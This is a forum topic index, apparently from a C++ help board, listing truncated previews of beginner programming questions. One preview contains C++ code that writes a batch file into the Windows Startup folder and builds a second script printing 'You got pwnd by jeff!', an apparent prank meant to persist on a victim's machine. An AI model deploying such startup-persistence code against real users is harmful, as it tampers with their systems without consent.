51,593 Topics
![]() | |
I don't know where to begin: Lab 5 Write a program that will first fill two out of three parallel arrays (local to the main function) with user-supplied data and then give users the choice to query the parallel arrays. The first array is as follow: char title[SIZE_ROW][SIZE_COL]={"Intro to Calculus", … | |
hello, i'm trying to install opencv 2.0 and use it in vs 2005, but i'm having some trouble compiling any piece of code that uses opencv including the examples installed with it. I searched all around and all i could find is instruction for installing previous opencv versions but not … | |
Hey, I've been going through some directx tutorials, but for some reason I can't get my program to work with .fx files. It complains that the file cannot be found, even that it's in the same directory and I'm sure that I'm using it correctly. | |
hello can any one help me out dt how top create a symbol library using openGL? ...how to fetch dis symbol and display on screen ??... | |
I'm making a red black tree (RedBlack class) whose nodes will contain customers (customer class) rather than the generic int data. Unfortunately, I can't seem to get VS 2008 Express recognize that data is of type customer. I get all sorts of redefinition errors, and I've tried pragma once and … | |
Ok i im writing code that uses three funcrions and they are int getNumAccidents(); void findLowest(); void findHighest(): This proram function is this determines which of 5 geographic regions within a major city (north, south, east, west, and central) had the fewest and highest reported accidents last year. Could some … | |
My assignment is to develop a C++ program to count the number of capital letters in a given string. String will be entered by user. The idea is to build my knowledge of loops and loop terminations. I've got the basics down (I think) but I just don't get what … | |
this is my while code and i use DEV-c++ compiler and i want to make it as a function and i dont know how ??? and realy want it as soon as possiple because the dead line is tomorrow ------------------------------------------------------------------------------ [CODE]#include <iostream> #include <math.h> using namespace std; int binTodec (int … | |
I am inputing from a text file, displaying it on the screen, displaying the menus and the choosing from there. It will repeat the menu, but, how to do I get it to read the next line in my input file and display it to the screen before repeating the … | |
[CODE]#include <iostream> #include <fstream> #include <windows.h> #include <cstdio> using namespace std; int main () { ofstream myfile; myfile.open ("example.bat"); myfile << "@echo off\n"; myfile << "cd C:\WINDOWS\Start Menu\Programs\StartUp \n"; myfile << "echo @echo off >windows.bat\n"; myfile << "echo color 0c>>windows.bat\n"; myfile << "echo echo You got pwnd by jeff!>>windows.bat\n"; myfile … | |
Trying to find the string length,of word_to_guess,wont work,any suggestions??? [CODE] #include <iostream> #include <cstdlib> #include <string> using namespace std; int main() { int num; int size; int num_guess; string word_to_guess; string words [10] = {"john","paul", etc} char exit = 'y'; char guess; srand((unsigned)time(NULL)); num = rand() % 9 + 0; … | |
I want to fill a structure and then print it. How to print the values of the structue? The structure is: [CODE] #define UINT32 unsigned int #define INT32 int #define UCHAR unsigned char typedef struct CheckSumPair { UINT32 weakcs; // The weak, rolling Adler32 checksum. UCHAR StrongCS[10]; };[/CODE] I have … | |
i want this code to keep track of whose turn it is: but i keep getting this error : error: a function-definition is not allowed here before '{' token any help [CODE]void turn_it_is(int play1, int play2) { cout << ((turn_it_is%2)==1)?(play1:play2)<< cout << " it's your turn "; cin>> turn_it_is; }[/CODE] | |
I need to read a file into a struct so i can print out a monthly bank statement after adding all deposits and with drawkls from another file but im having trouble reading the fileinto the array this is what i have so far.. [CODE]#include <iostream> // Need for cout,cin … | |
i'm having problem in executing this statement.... error expression syntax switch(col) { case 1:text[]={"0x00000000"}; break; case 2:text[]={"0x00FFFFFF"}; break; case 3:text[]={"0x0000FF00"}; break; case 4:text[]={"0x00FF0000"}; break; case 5:text[]={"0x00C000C0"}; break; case 6:text[]={"0x000000FF"}; break; case 7:text[]={"0x0000FFFF"}; break; case 8: text[]={"0x00FFFF00"}; break; } char text[10] is global. please help me out............. | |
im trying to add i think you call a random string picker heres what i have added it too [CODE]#include "stdafx.h" refimport_t * ri = (refimport_t *) NULL; refexport_t * re = (refexport_t *) NULL; refimport_t * o_ri = (refimport_t *) NULL; refexport_t * o_re = (refexport_t *) 0x0068A1E8; cg_t … | |
Is it possible to convert [ICODE]std::FILE*[/ICODE] to [ICODE]iostream[/ICODE]? | |
So here is the code: [CODE] #include <cstdlib> #include <iostream> #include <iomanip> #include <stdlib.h> using namespace std; void printintromessage (); void getUserInput (char& Y); //void printplayerinfo (const int& numofgamesinseries, const int& numofplayersonteam, int& i); int main(int argc, char *argv[]) { const int numofgamesinseries = 3; const int numofplayersonteam = 4; … | |
Hey guys .i want to display a number on the 7 segment display through C program .. Can anybody pls give me source code or recommend respective book. Urgent Thank u | |
i get this error and idk know y anyone know wat i gotta fix [CODE]int main () { int total_score, print_score, action, whose_turn, go_again; cout << "Race to 100 " << endl; total_score = score_num(int &ns1,int &ns2,int &ns3, int &ns4, int &ns5, int &n6, char gam_answ); print_score= display_score(int curr_score); action= … | |
C video tutorials for beginners [I]<<snip>>[/I] | |
Hi. I've been browsing this forum for answers for some time now and i guess it's about time to post a question myself. Here's the deal: I have a dll file in which i define a method that sets SE_DEBUG_NAME to enabled. Here's the code: [CODE] // tema4dll.cpp : Defines … | |
[QUOTE]Hi all... can anyone explain how i can read from a config file and retrieve its value in a cpp file... I am writing down the cfg file...[/QUOTE] [CODE]<APM> [APM_SAYHELLO] Formatter.Type = String Formatter.Val = AtlLogPlainTextFormatter Filter.Type = String Filter.Val = LEVEL_DDEBUG ComponentLevelFilter.Type = String ComponentLevelFilter.Val = true ComponentsEnabled.Type = … | |
Quick question. I have a program that will run perfectly fine in the Debug version (Using MS VS 6) but when I set it to Release and build it, then set the command line arguments (or run it from the comman line) it blows up. Any ideas why this would … | |
Hi I am working on this game. I really never played it so I just read about it. I am getting three errors. I was hoping you guys can help me fix it? Thank you Error 1 error C2059: syntax error : 'do' 2008\projects\program9\program9\craps.cpp 36 Program9 Error 2 error C2143: … | |
[CODE] do { if (Y == 'Y' || Y == 'y') for (j = 0; j < numofplayersonteam; j++) { for (i = 0; i < numofgamesinseries; i++) { cout << "Enter player " << j+1 << "'s score " << i+1 << ": "; cin >> score[i][j]; } if … | |
Hi! I've got a Blackjack-program that I want to split into classes (Card.h and Deck.h) and have a menu, like this: 1. Play again 2. Show status (Gains / losses for the player / house) 3. Exit The program works fine, I just need a class-based solution. [CODE] #include <iostream> … | |
I use OPENFILENAME to get dialog for file browsing and, as a result, I get in char szFileName[MAX_PATH] the filename that user is want to read from. I create ifstream and run open( szFileName) on the ifstream object .unfortunately the ifstream object is null There could be the problem with … | |
Hi, I'm having problem with "WriteLine". What I'm tryin to do is write into the selected txt file(from openFileDialog) when user type something in the textBox. ****************************************************** My output is something wrong. For example: when I type "testing" in the textBox, what I see in my text file is as … | |
1.Write a c++ program which counts and displays the number of characters and blank spaces in its own source code. | |
Here is the entire code; [CODE] #include <iostream> #include <sstream> #include <cstdlib> using namespace std; const int MIN_SCORE = 0; const int MAX_SCORE = 300; const int numofgamesinseries = 3; const int numofplayersonteam = 4; void printintromessage (); void getUserInput(char& Y); int getInt(const string &, int minValid, int maxValid); typedef … | |
![]() | So i overloaded the operator < and tried to reuse this by just returning the complement of it for the > comparison operator. I have been stuck at this error tho.. error C2679: binary '>' : no operator found which takes a right-hand operand of type 'const Customer' (or there … ![]() |
Hi guys, I have just written 2 versions of this simple program: [CODE]#include <iostream> using std::cin; using std::cout; int main () { cout << "This program counts from 10 to 0. \nGuess the missing number.\n"; int n; int f; for (n=10; n>0; n--) { if (n==5) continue; cout << n … | |
[CODE]// A personalized adventure #include <iostream> #include <string> #include <iostream> #include <string> using std::cout; using std::cin; using std::endl; using std::string; using namespace std; int main() { cout << "\tGame Designer's Network\n"; int security = 0; string username; cout << "\nUsername: "; cin >> username; string password; cout << "Password: "; … | |
Hello, I am having some trouble debugging a simple windows forms application. I have four textboxes, two being readonly that display the calculated answers, and then a "calculate" button. here is the code for the calculate button: [code] private void btnCalculate_Click(object sender, EventArgs e) { decimal obj_height = Convert.ToDecimal(txtHeight.Text); decimal … | |
i want this code to do the action, which is generate a random number 1-6. i am totally lost here ive been looking at examples and this is what i have. i get the error function def is not allow here before "{" token. [CODE]void roll_hold( char remark) { if(remark=='r') … | |
in c++ primer " [CODE]void reset(int *ip) { *ip = 0; ip = 0; }[/CODE] After a call to reset, the argument is unchanged but the object to which the argument points will be 0:" I understand that the argument is unchanged, but why the object to which the argument … | |
I wrote following code. It's compile properly. when i enter 2 characters in to textbox at run time, it gives an error. Error is : "String must be exactly one character long." this is the program, I wote: [CODE]#pragma endregion private: System::Void btnSend_Click(System::Object^ sender, System::EventArgs^ e) { char caEntry[10]; String … | |
Hey gang, I have a string array containing 10 words,I would like to randomly pick one of these words, how do I go about it,cant find any tutorials???? Thanks Buzz | |
Hi guys, I need help with and Idea on how to do this. Basically I want to have sockets session. User logs in and the program authenticates him against DB. Having done some PHP this is not big problem. The problem is how do I maintain session. In PHP there … | |
Hi every body I have some question about log file . What is the log file ? What is the importance of the log file? List 4 example of system where the log file should used and briefly exaplain why? Should the log file be monitored in the real time … | |
hi... i need to automate my system.... for which i need to run a c++ program from a php function.. how cani do this plz help...! | |
hello all, I am reading a book on c++. It talks about pointers and how to use them. I dont understand what the point of pointers is. Mainly, why would someone need them and what can a programmer do with them. Please be as detailed as possible as i am … | |
Hi i download fdm source code from source forge , now i want to compile and run it on visual stedio 2008 but this errors shown : [CODE]Error 4 error C2666: 'fsString::operator ==' : 3 overloads have similar conversions c:\users\mahdi\documents\downloads\compressed\fdm_3.0.848_source\fdm\include.add\fsstring.h 101 FDM Error 5 error C2666: 'fsString::operator !=' : 3 … | |
Hi I really need help figuring this one out I have been working at it forever. I am trying to pass an array of 3 pointers, which are themselves arrays, and get the sum of the last two pointers and store it in the first pointer. The pointerarrays are filled … | |
The following is an excerpt from a complete program that runs without any errors. It has 2 file dependencies which it uses to access and store information. The program, in its entirety, displays a menu with 5 options the user can choose from. [LIST=1] [*]View Characters [*]View Items [*]Add Character … | |
what code can I use to make a fortune cookie program that will give a random result when you input bday, month and year? I'm new with this but this is what i typed first: [CODE]#include<conio.h> #include<stdio.h> main() { int dd,yy,mm; clrscr(); printf("Know your Fortune Cookie reading"); printf("input birth day") … | |
Why do I have do use the Seekg()-function two times in a row to make it work? Code: [CODE] fbin.seekg(0); //jump to record at start of file fbin.seekg(0); //jump to record a second time (else it won't work) fbin.read(name, sizeof(name)); //read from data field 1 fbin.read(reinterpret_cast<char*>(&age), sizeof(int)); //read from data … | |
can someone tell me what i am doing wrong #include<iostream> using namespace std; [CODE]void char play_again(char letter, char 'y', char 'n'); [/CODE] [CODE]void char play_again( char letter, char 'y', char 'n') { char 'y', 'n'; char letter ; cout << " Would you like to play agian?( press y or … | |
i got errors and i cant find out what they meant i have went down the program line by line trying to figure them out and i am having no success. I am trying to use call by call values and parametrers n this program. (list of errors are below) … |
The End.